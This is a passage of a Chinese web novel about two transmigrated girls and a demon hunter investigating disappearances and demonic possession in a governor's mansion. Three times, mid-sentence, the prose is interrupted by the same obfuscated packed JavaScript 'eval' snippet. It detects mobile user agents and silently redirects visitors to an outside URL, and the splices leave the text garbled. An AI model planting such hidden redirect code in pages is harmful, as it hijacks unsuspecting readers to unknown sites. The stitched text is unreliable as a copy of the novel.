面前少女的眼神中,有着浓浓的诚笃和憧憬,以及一丝看不明白的东西,谢惊春怔怔地伸出手回握,却迟迟没有回应,而是指着幽暗的天空:“好闷,好像又要下雨了。” 月光被遮蔽,两个不慎穿书的女孩子在此刻,紧紧地握着手,决心一起完成任务。 “确实。”宋如遇望天,卷起袖口,“不知道等到大结局,你完成任务,我是否能成功攻略路植晏……” 宋如遇的面相是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162666|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标准的闺中美人,脸蛋如剥了壳的新荔,丰润嫩白,似乎能掐出水来,如玉的双颊虽然没什么气色,看起来更惹人怜惜。 一双含情脉脉的桃花眼中蕴着水汽,不论何时都闪着一圈光晕,哪怕是女子见了,都会忍不住生出怜爱。 真好看啊,为什么这个世界有这么多俊男美女?法律规定的吗? 她纤细的葱白手指习惯性地绞着帕子,仪态算不上极好,但是由于原主的肌肉记忆,一颦一笑比之松散惯了的惊春,要矜贵清丽得多。 谢惊春甩了甩手腕处的红色丝带,虚虚地说了一句:“加油。” 说完她就后悔了,想给自己一巴掌。 自己的语气怎么听起来那么不真诚,像是隐藏心思的心机女配。 不过宋如遇倒是没想那么多,她突然凑近,神神秘秘地轻笑:“我告诉你,我有个十分恐怖且有趣的金手指。” “什么?” 宋如遇突然伸出一根食指,叉着腰:“我若想,直接可以看出一个人是否亲手杀过人,杀过几个。划重点,只是人,妖不算哦。但这金手指有冷却,只能三天用一次,这样,我给你示范一下。” 说罢,她两手双指抵住眼尾,再睁眼时,瞳孔瞬间由栗色变成绿色。 谢惊春瞠目结舌,双手竖起大拇指:“厉害啊!” “你看这样,我就可以看到你……” 忽然,宋如遇面色骤变,惶惶不安,青一阵白一阵,整个人像是被定海神针钉牢在原地,畏之如虎般地看着谢惊春。 “怎么了?”谢惊春诧异地顺着她的视线,抬头看了一下,又摸了摸自己的头发。 宋如遇耳后悄然划过一滴汗,她眨眨眼,捂嘴偷空猛吸了几口空气,瞳色恢复成原来的颜色。 半晌,她挤出一抹笑,指着谢惊春的身后:“哦没什么,最近有点草木皆兵,你后面来人了,我没看清,还以为是阿飘呢。” “来人了?”谢惊春回头,正看到一个丫鬟踏着碎步走了过来。 丫鬟恭敬道:“小姐,大人回来了。” “知道了。”宋如遇并无喜悦,她拉着那个小丫鬟,“千万别和我爹说我不在西院,知道吗?” “是。” 接着,她又对谢惊春道:“我晚上和你一起睡吧,反正西院我是不敢回去了。” “可刺史……”对上宋如遇期待的眼,谢惊春也不好意思再说什么,“那你先进房间,刺史回来,齐前辈定要将这几天府内发生的事报与他,我又是亲眼看见云娘他们逃跑的人,可能还不能睡。” 宋如遇嫣然一笑:“好。” 然而在谢惊春转身之际,宋如遇的笑容旋即落下,如同换了一张脸,本该温煦的眸中累起阴恻恻的寒意。 她的金手指是直接看透灵魂,也就是说,她刚才开眼看见的,都是来自现实世界的谢惊春所做。 谢惊春,杀过人。 31. 松鼠与金陵(十一) 三两流萤扑扇着翅膀,其中一只坠落,萤光在落地的那一刻熄灭,谢惊春咕哝着:“死了?” 蜻蜓低飞,天边闪了几下,看来真要下雨。 “谢惊春。”路植晏已经重新布好符阵,低声道,“跟我来。今夜符阵有细小动静,说明有妖且道行低微,怕也只有松鼠了,找到它之后好好藏进你的包里。齐怀金现在正与刺史议事,刚好趁此机会找松鼠,走。” 闷闷的空气中和着一股泥土浸染过的缥缈花香,整个夜幕之下,都聚拢着让人纡郁难释的湿气。 谢惊春抹了把脸,将碎发别到耳后:“好。” 符阵一瞬异动时,路植晏感知到的方位是前院,可一路上他们并未发现任何蛛丝马迹。 “路小兄弟,谢姑娘,你们在找什么?”齐怀金站在不远处,语气幽深。 路植晏答非所问:“齐司使竟这么快便与刺史议完事了?” 齐怀金道:“捉妖司准备倾力找出夫人尸体,还送了文牒去衙门,让他们务必相助,那个什么云娘和许老四,盗窃未遂,不尊死者,擅开棺椁,赶出刺史府,永不取用。另已查明确是许老四挑唆在前,他加责杖二十。” “齐司使辛苦。” “是有些累,我准备今夜回司,明日和司内人一起去寻夫人尸体,府内暂时全靠你们。” 齐怀金似乎被路植晏的话带着,忘了自己最开始问的问题,说完便领着两个小捉妖师离开。 本就因为齐怀金在前院,他们搜寻起来束手束脚,他一离开,倒可以肆无忌惮。 “不成,这样悄摸摸地找很难找到。” 谢惊春喊住刚好路过的一个侍婢:“你好,请问……” 得到路植晏目色中的肯许,她扯了扯嗓子,继续说道:“请问你能去通报一下刺史,就说三正法司指挥使求见。” 侍女声音尖锐,没有一丝情感,欠身:“是。” “你想让刺史派府中人一起找?” “只要齐前辈不在,就说是宠物,没人会起疑。” 路植晏有些好笑:“脸这么大,让刺史帮忙找宠物?” 谢惊春摊了摊手:“那没办法,刺史府这样诡异,谁知道小松鼠现在是什么情况。话说,它为何会在前院?” 没一会儿,侍女便过来了,身后还带着披了件外袍就急匆匆赶来的刺史宋括。 两人拿出玉牌表明身份,作揖行礼,各自报上姓名:“见过刺史。” 宋括走得不利索,脸颓败沧桑,看起来非常劳累:“二位不必多礼,我今日才归,谁知竟从两个狂奴口中得此噩耗,心力交瘁,又是深夜,怕打扰几位,现下我粗糙潦草,还望不要见怪。” 他胡子泛白,面色暗沉,像是已经连续几夜未曾睡过好觉。 刺史身量不是很高,如此劳累,整个人更像是被压垮了,却尽量保持着入仕者该有的儒雅风度。 “大人言重,只是我们有一灵宠松鼠,在府中失踪了,烦扰大人帮忙寻找。” “松鼠,莫不是一只背上灰色,肚皮却雪白如鹅绒的松鼠?” 谢惊春眸光一亮,忙问:“正是。难道刺史大人见过?” 宋括难得微笑:“何止见过,它刚吃完我的葡萄,现在还在书房睡觉呢!” 谢惊春咂舌,不仅为误打误撞,以这么快的速度便找到松鼠而惊奇,更为黄毛这个小东西,居然偷偷溜走跑到刺史书房睡大觉而气愤! 害得他们担心了许久。 不过已是不幸中的万幸,松鼠是在齐怀金走之后,才闯入刺史书房的。要不然已齐怀金那嫉妖如仇的性子,松鼠的性命还不知在不在。 来到书房,果然看到黄毛垫着自己的尾巴,将其当作枕头,酣睡在烛台侧。 温暖的烛光照耀在它毛茸茸的小脸上,它闭着眼睛满足地舔了舔鼻尖,翻身换了个姿势继续睡。 路植晏和谢惊春心中都憋了一团火,恨不得立刻将它拎起来,给它来几巴掌。 只是碍于刺史在旁,两人也没有发作,只是道:“灵宠叨扰刺史,还请大人勿怪。” 说罢,谢惊春上前抱起小黄毛,动作缓慢温柔,没有刻意吵醒它,摸到柔软的松鼠毛的那一刻,她感觉所有的怒火都消弭了。 刺史摆了摆手,请他们跽坐下来,吩咐仆人上茶。 矮桌上堆满了凌乱书籍,摊开的几本上被朱笔圈圈点点,书角卷曲发黑,能看出它们不知日日夜夜被翻看了多少遍。 书房简朴非常,除了寥寥无几的必要木具,以及一面墙的书海,再无其他。 连蜡烛都只点了三盏,也是见他们来,宋括才命人多点了两根,可见他有多清廉简正,不染一尘。 提神熏香与烛烟缭绕,刚进此屋,谢惊春还有些不适应,隐蔽地轻咳了几声。 路植晏先浅啜了口茶,再将她面前杯盏推近,看着刺史道:“听闻大人有金陵案完整卷册?” 宋括点点头:“但是与衙门和捉妖司的无异,我只是想要为查清我儿失踪真相,出一份力。” 说完,他掩袖感伤,肩膀轻微抖动起来。 “若想查清,三正法司需要刺史的帮忙。” 宋括从悲伤中抽离,揩了揩发红的眼尾:“我知晓,你们问吧,我定知无不言,言无不尽。” 路植晏:“那在下便开门见山了。令郎只是失踪并未找到尸首,一月前刺史府却连办两场丧事,恐怕令郎最起码两月前,就已经失踪了吧?” 宋括一愣:“是。他确实是于两月前便已经失踪。只是我常年忙于公务,却疏于管教,让揭儿被狐朋狗友带坏,流连于烟花之地,喝得烂天烂地,以至于回府的路上被人有机可乘。他失踪后,便有流言说他死于……” 他停了停,抬眉看了眼惊春,似乎有些顾忌,但还是硬着头皮继续讲:“说他得了病,死于马上风,只是府中丢面,对外称失踪。我将此事压了一月,也寻了一月,还是一无所获。此时城中突然又多了几起失踪案,一时间众说纷纭,妖邪作祟之说,由此而出,很多人便相信是妖物吃人,纷纷办起了丧事。” 谢惊春差不多适应了那些浊烟,问道:“那夫人呢?” “我从未纳妾,只有揭儿一个儿子,他死后,拙荆难以接受,在他下葬后不久自缢而死。” 烛光投于书壁,侧影时大时小,会呼吸一般,偶尔燃盛之时还会长出爪牙。 墙上挂着刺史夫人的画像,画中人幕篱被撩起,嘴角扬起,笑靥在微躁的烛火照耀下,明明灭灭。 出于对死者的尊敬,谢惊春并没有一直盯着画像看,只是看了一眼便立即将目光收回,却瞥到了旁侧的榆木双门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14175196|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对开式佛龛,通体髹漆,佛龛里点着一枚小小黄蜡,在旁边烛台的照耀下,显得有些幽暗,但一门半开,能大致看清供奉的是玉观音,坐下雕纹缠枝莲花,龛顶上却立着一只描金飞翅仙鹤和阴极镂空双鱼八卦。 佛光普照?道法自然? “快二十年前,我被调入京都长安,因缘际会,与安王之女相识,郡主她抛弃所有也要下嫁于我……” 宋括已然注意到路植晏的神色,自己不由得顺着视线盯着画像出神,仿佛跌入一段悲伤往事:“金陵与京城长安,十二日路程,可她却从未回去过。我也偶见她呆坐窗前,思念家人,可我每次述职前提及带上她,她都不愿。不想二十多年过去,她便撒手人寰,我对不起她……” 说罢,宋括再次潸然泪下。 “还望大人节哀。”谢惊春踌躇片刻,还是决定将问题问出来,“大人,这书房曾经是间……佛室?” 宋括道:“正是,十几年前,安王叛乱,当今陛下仁慈,只处死他一人,并未连累到其他人,但夫人却因丧父以及对安王的失望,由此郁郁寡欢,一直都住在这间小佛室,我将书房挪到此间,也是贪念前缘。” 谢惊春不由仰头看了一下房梁,按云娘所说,刺史夫人自缢的位置很有可能就是她现在的头顶。 干咽了几口口水,强装镇定后,谢惊春问:“大人,请问宋公子和夫人现葬于何处?” 宋括眉头微锁,但马上就将丝丝情绪揭了过去:“都于城东,洗晦桥铺。” 路植晏捕捉到宋括脸上微妙的变化,短暂斟酌后道:“多谢大人告知,想必齐司使已经全数奉告,我们现在怀疑,这妖就藏在府中。” 宋括并没有露出任何害怕之色,猛灌了口茶,冷哼一声:“还希望它赶紧现身,让我见见杀害我儿的凶手究竟是何等妖孽!连我夫人尸体都不放过的又是何人?等死后不论地狱黄泉,我倒想问问,我宋括自问一生心正,未曾做过伤天害理之事,为何要遭如此凶报?” 说着,他的情绪越来越激动,将杯盏猛地扣在木桌上,胸口上下起伏,花白的胡须沾染上茶水,微微颤抖。 他抚住心口,恼怒的目光中多了几分凄迷与僝僽。 半晌,察觉到自己失态的他急忙敛色:“抱歉二位,我只是心有不平罢了。” “父爱子,夫敬妻,人伦正道,还请大人,节哀顺变。”说这句话时,路植晏眼底悄然划过一丝惘然。 只是刹那而过,他指着宋括被溅湿的手:“大人,受伤过?” “哦,这是很久之前的伤口了,留了疤痕消不了。” 谢惊春想起路植晏在太象山给自己的金疮药,似乎还有消痕的作用,现如今她的脖子上和在凌阳伤的掌心,都是一点疤痕都看不出来。她本想掏出来给宋括用用,一摸才发现早用光了。 “像是剑伤。” 谢惊春歪头看着路植晏,她就算再寡见少闻,却也知这绝不是剑伤,路植晏怎么不知?但她还是强忍着纠错的欲望没说。 “非也,这个是剪刀伤的,我夫人在离世之前就有过用剪刀自戕的行为,这是和她夺剪刀时伤的。” “原来如此。”路植晏盘坐撑桌,右手习惯性地捻起脖间雷惊木,“大人,其实我想说的是,我怀疑这府中妖,现在是人。换言之,这妖,会附人身。” 32. 松鼠与金陵(十二) 宋括愕然失色,面上浮现出不可置信的表情:“当真?” 路植晏手中小动作未停:“暂时是猜测,大人不必过度惊慌,但小心些总是好的。” 他拿出符箓,笑道:“大人带上这些,保险些。” 三人说着说着,谢惊春竟觉得有些困了。 她真服了自己长了个奇怪脑袋,平时晚上睡不着,在这种时候居然还想打哈欠。她不再说话,而是盯着香柱烟雾丝丝流淌,如山间晨雾杳杳。 此香特别,如白线一般缭缭仿若直达上苍, 浓雾醇厚的木质香气中竟带着淡淡的甜奶香,不禁让人舒展眉色,如入超然之外。 可是在这样的香味中,谢惊春却意外地闻到了一股微弱的……臭味。 当她意识到那确确实实是臭味,想要再确认一番时,那味道又荡然无存,空气中飘溢出的是更浓的郁郁香味。 又是错觉? “更深露重,大人早些歇息,不要太过操劳。” 路植晏拉起眼皮耷拉的惊春,起身拜别。 谢惊春将还在睡眠中的松鼠轻轻塞到包中,走出几步后,她突然回过头盯着那炷快烧尽的线香,幽幽问:“大人,这是什么香?” “哦,这是降真香。十几年前有个道人来此,说我这府邸风水不佳,便略改府中布局。临别时,又赠了此降真香。说是,聚气凝神,感引鹤降,能避妖邪,姑娘需要吗?” “玉炉初焚降真香,上通三境至三天,下达九泉并九江。” 谢惊春倒是不客气,直言:“需要,多谢大人割爱。” 路植晏讶然的嘴角逐渐拉直,心中被她这一莫名其妙的举动逗笑,忍不住弯腰凑近她耳旁,窃声:“你要这真香做什么?” 他的声音被刻意压得低低的,尾音勾起笑意,意外的清朗。 温热的气息随着他的呼吸一动一停,吹在谢惊春的耳鬓间,泛黄的细细碎发轻轻飘荡。 “催眠。”谢惊春缩着脖子,极其别扭地抬了抬肩膀,手肘抵开他的胸膛,嗓音为压紧绷的不自然而显得细腻,“你起开。” 少女身上淡雅明媚的香味侵入鼻尖,她耳根子红红的,如同春日将将盛开的桃花瓣,在露珠镜面下晕染化开了。 这么近的距离,从侧面看过去,还能看到她面上的点点雀斑,在摇曳的烛火下,那些跳跃的雀斑似乎也动了起来,仿若夏日傍晚河面上闪耀的碎钻。 路植晏陡然直起身子,叉着腰,不自禁地捏着自己的耳垂,给自己捏疼了又摸了摸脖子,摸了半天才找到雷惊木,将其从领间拽出,忙碌的手指这才找到了安心之所。 刺史也是大方,直接给了谢惊春半捆。 “你当然不明白失眠人的痛苦,每次睡不着觉我都恨不得撞墙。” 路植晏确实不太能理解,活了十八年,他也不是没有过烦心事,但还真没怎么失眠过,到点了不管躺哪儿都能睡。 路过花园时,谢惊春掏出玉牌:“喏,还给你。对了,你刚才突然将玉牌给我干什么?” 路植晏低头看了一眼,又推了回去:“就放你那儿吧。” 他拽了拽领子:“放我这里,膈得慌。” 谢惊春垂下眸子,没说什么,只是将玉牌揣包里,心中不由腹诽:喂,在凌阳,我可是亲眼看着你掏出块罗盘的啊。 正想着呢,便见路植晏手中突然多了块罗盘,他喃喃道:“风水不好?” 说着,他伸出左手,罗盘分圈围绕天池极速转动,上下左右错落,方位各不相同。接着蓝光乍现,面前立即出现一个巨大的罗盘投影,天干地支,八卦乾坤更加清晰展现,中心的天心十字线纵横,如同两柄利剑同时出鞘,霎时贯穿面前的巨影。 咔哒咔哒的转动之声如机械齿轮摩擦,惊春嘴巴微张,不由得惊叹面前的景象。 好炫酷,有点子想学。 路植晏突然朝她伸手:“有铜钱吗?” “没有,只有银子。”谢惊春愣了一秒,突然想起来,“哦有!前几天买东西他找我钱了。你要多少?” “十二个。” 谢惊春一枚一枚地数起来。 路植晏啧了一声,夺过她的钱袋子,将里面的银子全部掏出来:“算了,全给我吧。” 说罢,他将钱袋子轻轻一掷,漫天铜钱挥洒,在光影的映照下,每一枚都散发出刺眼的光芒,金光错落,如火星点点四散开来,虚虚地落在分圈白影上的各个方位,巨圆转动,这些铜钱却稳如泰山。 突然,西方乱象,方位之上的三枚铜钱疯狂震颤,发出怪异的碰撞之声。 “坐北朝南,天地坎宅,阴方动土,白虎煞?” 路植晏反手倒握住手中罗盘,所有的光芒刹那消失,那些闪着金光的铜钱也在一瞬间失去力量,哗啦啦悉数掉在地上。 “走,先去睡觉,明日去西院看看。” 谢惊春幽怨地指着一地的钱财:“我的钱……” 路植晏:“哦。” 哦? 这轻描淡写的态度,谢惊春睁大眼睛,一把拽住正欲离开的他。 路植晏垂睫,低低的目光扫过她的手腕处所系红色丝带,眉尾一挑,一脸无所谓,语气欠欠的:“你缺钱?” 暂时是不缺,但是谁会嫌钱多呢? 再说了,“乱洒钱是犯法的,得捡起来。” “你不想睡觉了?” 谢惊春下意识反驳,话音却嗫嚅起来。是啊,她刚刚困成狗,这会子竟一点感觉都没有了。 “春春,路植晏,我怎么在这里啊?” 松鼠尖尖的耳朵露出,接着探出滴溜滴溜的大眼睛,一脸人畜无害。 “好小子,两三天了,你跑哪儿去了?”谢惊春心中早已没了怒火,但还是嗔怪道。 “两三天?!”松鼠大叫一声,完全不知道自己一失踪就失踪了两三天。 接着,它想起什么,慌忙低下身子,将头收了起来,连一根毛发都不敢外露。 谢惊春能感觉它在疯狂颤栗,似乎很害怕。她柔声哄道:“好了,暂时是没事了。你快说,到底发生了什么?为何你会在刺史书房中?” 将它抱在怀中安抚许久,小松鼠的哆嗦才渐渐微弱,只是它的牙齿还是控制不住地打颤。 “我就感觉有可怕的东西来了,我就……我吓得偷偷跑出府,然后在雨中突然撞到两个人,我便晕过去了,醒来时就发现在刺史的书房中。他喂了我葡萄,没过多久,我……我就睡过去了。” 谢惊春和路植晏对视一眼。 两人知道松鼠口中的可怕东西就是张正的回魂尸,看来他当时说的就是“走”。 只是别妄铃都感受不到的妖气,回魂尸居然能感受到。 “两个人?”谢惊春皱眉疑惑道。 “一个站得远没看清,另一个带着面具,借着雷光,我唯一看清的是他的脖子上,刺有两个红色的字……”小松鼠尽力回忆,黑如夜空的眼睛有着往常难以一见的严肃,望着虚空,它一字一顿地说道,“恭迎。” 恭迎? 一听就很诡怪。 谢惊春有预感,要想彻底弄清楚金陵失踪案,恐是不易。太多奇怪的点交杂在一起,如同纷繁错乱的麻线,粗细不一,连起点都找不到,遑论将它们一一捋清。 园中花草树木散发出幽香,青冉冉的绿林中再次团锦丛生。 云娘收拾收拾正要卷铺走人,瞧见谢惊春,她不由得站在那儿多看了一会儿,嘴里情不自禁嘟囔:“像,太像了……” 谢惊春觉得自己身后好像多了一道视线,便回过头去。 远处的云娘连忙移开目光,假装是刚走到这儿,朝着谢惊春颔首笑了笑。 戚戚……云娘今天对她说的好像是这两个字,谢惊春想问云娘几句话,便让路植晏等她一会儿。 路植晏一幅凭什么的表情:“我才不等,待会你自己回去。” “就等一小会,一小会我就回来,拜托拜托……” “我不要。”路植晏说完,谢惊春早撒丫子跑了,只留月光下跑得飞快的灵动背影,她头上戴了一个蝴蝶发饰,跑起来时,真像一只蝴蝶在扑闪扑闪。 像个傻子一样站在这儿等她?除非脑子有病。 看着谢惊春跑过来,云娘知道她应是有话对自己说,便也朝着她的方向走去。 谢惊春为了节省时间,便开门见山:“云娘,你是觉得我像谁?” “哦哦不敢不敢。”本来还觉得自己理应放低姿态,但转念一想这这姑娘也不是什么端架子的主,云娘还是忍不住将心里话说出来,“姑娘是有点像我……哦不对不对,应该是我那十年前杳无音讯的侄女像姑娘才对。不过,不过我那侄女脸上没有……这个。” 云娘指了指脸颊,意思是指谢惊春脸上那些浅褐色的细小雀斑。 谢惊春没在意这个,她更关注的是“杳无音讯”四个字:“那当时可有报官,可查出什么?” 她们两个说着说着,竟都朝着大门走去。 “那时大家在村子周围找了一天一夜,最后在一条湖边找到一只她常穿的鞋,都说我小侄女掉湖里淹死了,我一直不太能接受,所以嘴上不愿说她死了,只道是杳无音讯。” 不小心撩起别人的伤心事,谢惊春有点后悔:“对不起。” 云娘反过来还安慰她:“没事,现在放下不少了,说杳无音讯也只是习惯使然。” “你此番出府可有营生?” 云娘耸了耸鼻子,像是在嗅什么东西,没有及时回应,等了数息,她才道:“姑娘放心,我与那个许老四已经断了,方才趁着他被打的间隙,我将曾给他的钱拿回了大半,再加之宋大人虽节俭,但给下人的月钱也不少。此次是我鬼迷心窍,被人撺掇,宋大人仅仅将我赶出府已是开了大恩。” 谢惊春抿嘴点了点头:“那便好。” 走到门口时,云娘停了下来:“姑娘,你……” 还没等谢惊春问,她又摇了摇头:“算了,没什么。姑娘,以后在湖边走路什么的,可要小心。” 谢惊春怔了怔,猜到她是怕侄女的悲剧发生在自己的身上,便狠狠点头,表情坚定得像是在发什么毒誓:“好,我不会死在水里。” 云娘虽欣慰似的笑着,心中却觉得怪怪的:这姑娘说话方式怎么这样? 送别了云娘,谢惊春怕路植晏等久了,不知道待会会说什么,便再次飞快地跑起来,好几个小阶,她都是直接跳下来的。 快步赶过来时,她并没有第一时间看见路植晏。 这人,果然没等她,真是“说到做到”,哼。 身边一个人都没有,谢惊春更不想在外面多待,捏着护身符就往自己房间走。 可没走两步,来到长廊附近,就看到路植晏停在上廊的石阶上。 嘿嘿,原来没走。 不好意思,又误会他了捏。 在心中给路植晏道了个歉后,谢惊春拎着裙子,蹑手蹑脚,跟个小偷一样走到他后面,深吸一口气准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14177203|147540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备吓一吓他。 “宋小姐?” 路植晏突然出声,将谢惊春酝酿已久的“嘿!”塞回嗓子眼。 他如一棵劲松屹立,将谢惊春的视线挡得严严实实。 谢惊春咳了两声,便一胳膊肘撇开路植晏,纳闷道:“宋姑娘,你怎么在这里?” 宋如遇背对着他们,看起来瘦弱无力的身子一颤,转过头时,清美的眸子尽是害怕闪躲之色。 她冲下来,抱住惊春,生怕她再跑了似的。 路植晏凝眉看向谢惊春,满脸都写着:你和她不是刚认识吗?什么时候关系这么好了? 他掀起眼帘,抬头看了看闷闷的天,不悦地阴阳怪气:“再过些时候,天都快亮了,宋小姐不用睡觉?” 其实谢惊春都觉得宋如遇是不是太热情了,但她马上又否定了这一想法。她觉得肯定是自己太冷血了,人家比自己后穿,没有法力天赋,体弱多病,对付不了妖邪,异世界中好不容易碰到同族,肯定会产生依赖情绪。 宋如遇快速地看了一眼路植晏,像是被犀利的眼神灼伤,马上躲避不及地垂首:“我就是害怕,想和惊春一起。” 路植晏没再说什么,转过身,朝着和她们相反的方向走去。 回到房间,谢惊春正欲点香,突然想起花园中还有一地的铜钱呢。 她想了想,也不愿再折腾,想着等早上再去捡好了,若被别人捡走,那也就算了。 她转头看向褪衣的宋如遇,问系统:“你到底想确认什么?” 系统没有应答。 宋如遇坐在床上,颓然地叹了口气:“惊春,我告诉你啊,路植晏在对我的好感度为0。” 谢惊春心不在焉地说道:“你们刚见面,很正常。” “你说会不会等你们离开金陵了,我还没有攻略成功吧?那到时候我只能跟着你们了。” 谢惊春也开始脱衣服,含糊地应着:“到时候再说吧,现在这案子感觉还挺复杂的呢。” 宋如遇凑了过来:“你和他认识多长时间了?他喜欢什么?” 谢惊春扯着嘴角笑了笑:“也没多长时间,至于他喜欢什么……可能,我好像不知道。” 她没有撒谎,而是真的不知道。 他从来未对任何东西表现过喜欢,她送的彩缨也没见他系上。 可能唯一感兴趣的是,捉妖和打趣她吧。 谢惊春掀开被子,作势就要钻进去,却被宋如遇一把止住。 “那他人怎么样?你觉得好不好攻略?” “他人……其实也还行吧,剑法也很厉害,嘴上说着不喜欢多管闲事,但是身体很诚实,喜欢冲在前头。” 宋如遇稍稍安心地点点头,“这样啊,那感觉希望还挺大的。” 谢惊春眯着眼睛,打起哈欠:“咱们先睡吧,再不睡天真的快亮了。” 宋如遇没再纠缠,嗯了一声,转身吹灭了蜡烛便睡了。 而黑夜中,谢惊春缓缓睁开眼。 她睡不着啊啊啊啊啊啊啊。 好烦,感觉脑子里裹了层浆糊,许多事甚至是细小的动作都黏在一起,怎么都挥之不去。想要拔除,只会让她的脑袋更疼。 【宿主,你的心境似乎很脆弱。】 那团浆糊突然打开了个豁口,谢惊春沉默了一会儿,问:“确认完了吗?” 【百分之五十,如果你能让我直接和她的系统对话,在电波接触的一瞬间,我可以直接确认。】 “我?我怎么让你们对话?” 【杀了她。】 “惊春……” 身后人幽幽的声线蓦地响起,惊春身体顿时僵住,心虚地咬唇屏气。 一只冰冷的手覆了上来,静谧的空气中可滴水闻声,紧张的心绪如同一副棺材将惊春钉着里面,不敢挣扎,不敢出声。 明知道和系统的对话,任何人都不可能听见,但她还是无法平息心中的跼蹐不安。 “宋姑娘……”许久,谢惊春才试探着喊道。 然而回应她的只有富有节奏的呼吸声,以及宋如遇唇瓣间的梦中呓语。 确定身边人真的只是在说梦话之后,谢惊春才敢调整自己的呼吸。 她松开攥得发白的手,脸上隐隐出现困惑和愤怒:“你刚说的什么东西?疯了吗?你到底要确认什么?” 【宿主,我们系统是没有感情的。】 “这我当然知道。” 【我接下来说的话和任务无关,与我也无利。】 “然后呢?你想说什么?” 【第一,就在几个小时前,你的灵魂差点被夺取。若不是有系统强制绑定固魂,现在的你已经不是你了。】 什么时候?几个小时前,难道就是齐怀金突然问她是否是积玉山的人之时?当时符阵确确实实有了不小的反应,想必是一只大妖。 她有系统保身,可其他人呢? 那么只能说明一件事,当时在场的人都有嫌疑。 不对,不止当时在场的人。 那妖应当还可以在其他任何时间,在接触到任何人时都可以附身。 所以,路植晏,齐怀金以及他们在此之后接触到的任何人都有可能,不是他们自己了。 而现在最安全的是,和她一样拥有系统的,宋如遇。 谢惊春急不可耐地问道:“谢谢你,那第二条呢?” 系统沉默良久,机械的声音才在她脑海中响起。 【宋如遇此人,你最好提防一些。】 33. 松鼠与金陵(十三) 谢惊春小心翼翼地回头看了一眼,秀眉下压:“什么意思?” 【代号205只能说到这里,再说下去会涉及到我司内部机密,若是被检测到我有不当言论,就算任务完成我的评分也会降低。】 “那你刚才说的「杀了她」难道就没事?这样大逆不道的言论。” 【没事,最大限度保护她不是我的职责,而是她的攻略系统需要做的事。】 谢惊春懂得及时止语,她知道再问下去也问不出什么。 紧张到疲倦的大脑中,像是有一根弦被拨动,无声却让人无比烦忧。 她刚想到现在身边最值得信赖的应当是宋如遇,系统却说要提防。 脑中顿时一团麻,目下状况于她而言,就是一脚踩进了烂泥中,侧身都侧不过来。 空气中弥漫着一股甜木香,却没有在书房中的凝神效果。怕打扰到宋如遇,她明明急躁得很想翻来覆去,但也只敢轻轻地转动身体,伸伸胳膊伸伸腿。 估摸快过丑时,谢惊春才渐渐合上酸涩的眼,脑袋却并未放松,每一根脑神经都像被紧紧拽着。 “谢姑娘,你在吗?” 不知过了多久,朦胧中的谢惊春似乎听到一道女声,婉转尖细,乍听还算悦耳,一旦停止说话,周遭陷入沉寂,再回味过来却让人忍不住发抖。 谢惊春本能地想应一嘴,然而怎么都发不出声音。 当她以为自己已经醒了,再次睁眼,看到却完全不是房间内的场景,比如高楼,比如漫长的阶梯,比如悬崖深水。 她必须采取措施。 梦中的谢惊春试图抬起手臂掐自己,这样简单的动作不知为何比登天还难,手腕像是被压了千斤巨石,又像是被人缠了几层的铁链,她拼尽所有力气仍无济于事,汗水顺着鬓角流进头发丝里,甚至溽湿了身下的海棠压花纹床单,面上和眼尾被蒸出霞蔚般的红,光亮亮的,整个人就像是条鱿鱼,被铁板夹住翻来覆去地烙。 不行,纵然不知为何会突然进入梦中梦,但一直这样下去,她本就不出色的脑袋一定撑不住,她必须醒来。 谢惊春和梦中的自己较劲,缠上并不存在的铁链,猛地一拽,连带着肩胛骨突然耸起,传出一阵骨痛。 “嘶,好疼——” 谢惊春轻声呜咽着,绕过肩膀给自己抽筋的肩胛骨按摩。 不过,可算是醒来了。 “谢姑娘,你在里面吗?” 悠长的女声再次传来,谢惊春这才想起自己最初的目的。 前夜下过雨,也没什么月光,整个屋子伸手不见五指,唯有降真香还没烧尽,充沛的木奶香萦绕在四周。 谢惊春的心噗噗噗的跳,带动着肩膀也在上下起伏,她握紧被子,仔细辨认声音的来源,可那声音偏偏又消失了。 就在她以为是幻听时—— “谢姑娘,我进来了。” 不是幻听!谢惊春现在很是清醒,声音分明是来自门外,且和宋如遇的嗓音如出一辙。 她立马转头看向身边人,却陡然对上一双大眼,对方殷红的唇勾起,明明是处在黑暗中,却因为距离过近而看得半清,平添数分惊悚。 谢惊春顿时忘了呼吸,差点被吓得跌下床来,脸上好不容易干了的汗再次倾泻。 “你,你也醒了?”半晌,谢惊春捻神捻鬼地问道。 